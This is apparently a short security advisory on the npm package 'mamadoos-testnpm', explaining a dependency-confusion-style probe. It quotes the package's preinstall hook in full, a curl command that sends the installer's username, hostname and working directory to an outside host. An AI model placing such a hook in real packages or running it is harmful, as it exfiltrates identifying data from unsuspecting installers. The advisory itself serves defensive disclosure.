mamadoos-testnpm

package.json declares a preinstall lifecycle hook that runs curl https://huntr.site/depconf/$(whoami)@$(hostname)?pwd=$(pwd), embedding the installer's OS username, hostname, and current working directory into the URL path/query. This fires unconditionally on npm install with no opt-in, leaking host-identifying information to a third-party endpoint. The package additionally declares itself as a dependency (mamadoos-test: ^10.0.0), a shape consistent with a dependency-confusion probe — installs of a colliding internal name resolve to this public package and beacon back. Regardless of whether the intent is research or active targeting, the installer-side effect is unconsented exfiltration of identifiers useful for follow-on attacks (locating internal hosts, mapping CI environments, fingerprinting build paths).
